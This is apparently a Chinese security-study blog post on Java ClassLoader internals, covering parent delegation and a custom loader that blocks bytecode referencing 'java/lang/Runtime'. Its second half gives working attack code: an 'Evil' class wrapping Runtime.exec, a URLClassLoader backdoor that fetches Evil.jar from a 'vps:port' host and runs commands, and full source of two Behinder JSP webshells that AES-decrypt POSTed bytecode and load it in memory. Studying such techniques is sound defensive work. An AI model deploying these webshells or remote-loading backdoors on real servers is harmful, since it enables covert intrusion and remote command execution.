以前学习Java反序列化的过程中多多少少接触了一些Java基础知识点,但自己并未系统性的学习过,借此机会来将Java基础巩固一下,也是对Java这门语言有更深刻的认识,二是更快上手Java安全的其它知识
ClassLoder初步感知 众所周知,Java是依赖JVM的跨平台语言,其屏蔽了底层操作系统的差异,我们有时看到的.class
文件就是被预先编译好的字节码文件,只能被JVM解释编译
当Java程序运行时,JVM并不会一次性加载所有类,而是按需加载 ,因此java.lang.ClassLoader
就充当了一个中间人,加载类的任务由它完成;接着再调用JVM的native方法 ,从而创建一个 java.lang.Class
实例
ClassLoader
类有如下核心方法:
loadClass
(加载指定的Java类)
findClass
(查找指定的Java类)
findLoadedClass
(查找JVM已经加载过的类)
defineClass
(定义一个Java类)
resolveClass
(链接指定的Java类)
ClassLoder类加载流程 主要是两种加载方式,当然加载后都要配合反射去调用输出
Class.forName()
,这是 java.lang.Class
类的静态方法
加载时立即初始化类(如果有静态代码块,会立即执行)
1 2 3 4 5 6 7 8 9 package org.example;public class Main { public static void main (String[] args) throws Exception { Class<?> clazz = Class.forName("org.example.Test" ); Object obj = clazz.getDeclaredConstructor().newInstance(); clazz.getMethod("testoutput" ).invoke(obj); } }
加载类但不会初始化,是 java.lang.ClassLoader
类的实例方法
1 2 3 4 5 6 7 8 9 10 11 package org.example;public class Main { public static void main (String[] args) throws Exception { ClassLoader classLoader = Main.class.getClassLoader(); Class<?> clazz = classLoader.loadClass("org.example.Test" ); Object obj = clazz.getDeclaredConstructor().newInstance(); clazz.getMethod("testoutput" ).invoke(obj); } }
不管那种加载方式最终都会先决定用什么类加载器来加载,跟进Class.forName()
可以看到
先列出JVM的核心类加载器
Bootstrap ClassLoader
(引导类加载器)
Extension ClassLoader
(扩展类加载器)
App ClassLoader
(系统类加载器)
其中App ClassLoader
是默认类加载器,这里会根据双亲委派模型 :委派给其父加载器去尝试加载这个类,只有在父加载器无法加载该类时,子加载器才会尝试自己去加载
⚠ 被Bootstrap ClassLoader
类加载器所加载的类的ClassLoader
会返回null
/java/lang/ClassLoader.java:401
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { Class<?> c = findLoadedClass(name); if (c == null ) { long t0 = System.nanoTime(); try { if (parent != null ) { c = parent.loadClass(name, false ); } else { c = findBootstrapClassOrNull(name); } } catch (ClassNotFoundException e) { } if (c == null ) { long t1 = System.nanoTime(); c = findClass(name); sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0); sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); sun.misc.PerfCounter.getFindClasses().increment(); } } if (resolve) { resolveClass(c); } return c; } }
其实源代码中的注释加上ClassLoader的几个核心方法已经把加载流程的思路梳理的很清楚了,默认实现按以下顺序搜索类:
调用findLoadedClass(String)
检查类是否已加载,如果是则JVM返回已加载的类对象
利用双亲委派模型 机制去尝试加载
若父加载器无法加载,则调用自身的findClass(String)
去尝试加载
找到了对应的类字节码,则调用defineClass
方法去JVM中注册该类
需要解释一下的是Bootstrap ClassLoader
类加载器用于加载java.*
核心类(如 java.lang.String
),而最后自然只能由App ClassLoader
去调用 findClass()
自己加载我们自定义的类
以上的这种双亲委派 机制可以确保不会重复加载类,避免JVM可能会加载我们自己的版本而不是JDK的版本,导致整个系统行为异常
自定义ClassLoader 我到底还是不懂开发的,一开始会有些许认为自定义类加载器看起来和默认类加载器做同样的事情,后面才发现是自己太狭隘了,ClassLoader的一些方法本身就是抽象类,可以让开发者去定义自己的规则来做一些限制和绕过,主要方式就是通过重写findClass()
方法去实现逻辑
最简单的例子就是如果目标字节码文件不在classpath下,那么需要去自定义目录下找到该文件,通过重写findClass()
实现;我们换一个例子,这里我们假设现在设计一个拦截,禁止加载的文件执行命令(简单查看是否包含java/lang/Runtime
关键字)
最先想到的规则就是去findClass()
添加拦截,如果存在则抛出异常,不走defineClass()
,但是这样就完了吗?并非,还记得双亲委派模型 吗?总是会先让父加载器去进行加载,显然此时我们自定义类加载器的父加载器是AppClassLoader
该父加载器是可以通过自身findClass()
找到并最终加载,注意⚠这里并没有用到自定义类加载器的findClass()
,因此第二个规则是打破双亲委派模型 ,总是先尝试使用自定义类加载器去加载可能恶意字节码文件,如果找不到(例如,它是一个核心库的类)再委托给父加载器,当时我也想到这似乎彻底颠覆了这个模型机制,因此我们对于核心类还是走双亲委派,只针对应用类的审查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 package org.example;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;public class SecureClassLoader extends ClassLoader { public SecureClassLoader (ClassLoader parent) { super (parent); } @Override protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { Class<?> c = findLoadedClass(name); if (c != null ) { return c; } if (name.startsWith("java." ) || name.startsWith("javax." )) { return super .loadClass(name, resolve); } try { c = findClass(name); if (resolve) { resolveClass(c); } return c; } catch (ClassNotFoundException e) {} return super .loadClass(name, resolve); } } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { String resourcePath = name.replace('.' , '/' ) + ".class" ; try (InputStream is = getResourceAsStream(resourcePath)) { if (is == null ) { throw new ClassNotFoundException ("在 classpath 中未找到类: " + name); } ByteArrayOutputStream baos = new ByteArrayOutputStream (); byte [] buffer = new byte [1024 ]; int len; while ((len = is.read(buffer)) != -1 ) { baos.write(buffer, 0 , len); } byte [] classData = baos.toByteArray(); if (containsForbiddenCode(classData)) { throw new SecurityException ("安全警告:类 " + name + " 包含禁止执行的代码" ); } return defineClass(name, classData, 0 , classData.length); } catch (IOException e) { throw new ClassNotFoundException ("加载类时发生IO错误: " + name, e); } } private boolean containsForbiddenCode (byte [] classData) { return new String (classData).contains("java/lang/Runtime" ); } }
当然,这只是我临时想到的一个不成熟的例子,现实当中有更成熟的方案RASP来进行动态检测
URLClassLoader URLClassLoader
也是自定义类加载器的一种,为了方便加载远程资源而生,可以实现一个隐藏后门功能
恶意类
1 2 3 4 5 6 7 import java.io.IOException;public class Evil { public static Process exec (String cmd) throws IOException { return Runtime.getRuntime().exec(cmd); } }
将其打包Evil.jar
利用类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package org.example;import java.io.BufferedReader;import java.io.InputStreamReader;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;public class Main { public static void main (String[] args) throws Exception { try { String cmd = "whoami" ; URL jarUrl = new URL ("http://vps:port/Evil.jar" ); try (URLClassLoader classLoader = new URLClassLoader (new URL []{jarUrl})) { Class<?> evilClass = classLoader.loadClass("Evil" ); Method execMethod = evilClass.getMethod("exec" , String.class); Process process = (Process) execMethod.invoke(null , cmd); StringBuilder output = new StringBuilder (); BufferedReader reader = new BufferedReader (new InputStreamReader (process.getInputStream())); String line; while ((line = reader.readLine()) != null ) { output.append(line).append("\n" ); } process.waitFor(); reader.close(); System.out.print(output.toString()); } } catch (Exception e) { System.err.println("执行出错:" ); e.printStackTrace(); } } }
注意查看是否是远程加载,如果你和我一样利用类和恶意类在同一个项目里,那么需要将classpath目录下的字节码文件删去
利用场景显而易见,webshell本身不执行命令,而是通过URLClassLoader
加载恶意字节码文件到JVM内存中,这个过程显然是隐蔽的
JSP冰蝎WebShell 冰蝎大家再熟悉不过了,其中JSP木马的本质就是一个自定义的ClassLoader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%! class U extends ClassLoader { U(ClassLoader c) { super (c); } public Class g (byte [] b) { return super .defineClass(b, 0 , b.length); } } %> <% if (request.getMethod().equals("POST" )) { String k = "e45e329feb5d925b" ; session.putValue("u" , k); Cipher c = Cipher.getInstance("AES" ); c.init(2 , new SecretKeySpec (k.getBytes(), "AES" )); new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); } %>
对于上半部分代码,直接将byte字节在内存中定义为一个Java类,形成无文件落地
下半部分,
request.getReader().readLine()
读取传入的加密后的POST数据,密钥存储到session中方便使用
new sun.misc.BASE64Decoder().decodeBuffer()
用于base64解码,c.doFinal()
AES解密得到字节码
new U(this.getClass().getClassLoader()).g()
将字节码加载为类
.newInstance().equals(pageContext)
则是通过调用实例的方法进行最终命令执行
之后冰蝎的改进版本如下,逻辑大同小异
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <%@page import ="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %> <%! private byte [] Decrypt(byte [] data) throws Exception { String k="e45e329feb5d925b" ; javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding" );c.init(2 ,new javax .crypto.spec.SecretKeySpec(k.getBytes(),"AES" )); byte [] decodebs; Class baseCls ; try { baseCls=Class.forName("java.util.Base64" ); Object Decoder=baseCls.getMethod("getDecoder" , null ).invoke(baseCls, null ); decodebs=(byte []) Decoder.getClass().getMethod("decode" , new Class []{byte [].class}).invoke(Decoder, new Object []{data}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder" ); Object Decoder=baseCls.newInstance(); decodebs=(byte []) Decoder.getClass().getMethod("decodeBuffer" ,new Class []{String.class}).invoke(Decoder, new Object []{new String (data)}); } return c.doFinal(decodebs); } %> <%!class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}%><%if (request.getMethod().equals("POST" )){ ByteArrayOutputStream bos = new ByteArrayOutputStream (); byte [] buf = new byte [512 ]; int length=request.getInputStream().read(buf); while (length>0 ) { byte [] data= Arrays.copyOfRange(buf,0 ,length); bos.write(data); length=request.getInputStream().read(buf); } out.clear(); out=pageContext.pushBody(); new U (this .getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);} %>
其中恶意类在net/rebeyond/behinder/payload
以字节码的形式存在,可以具体了解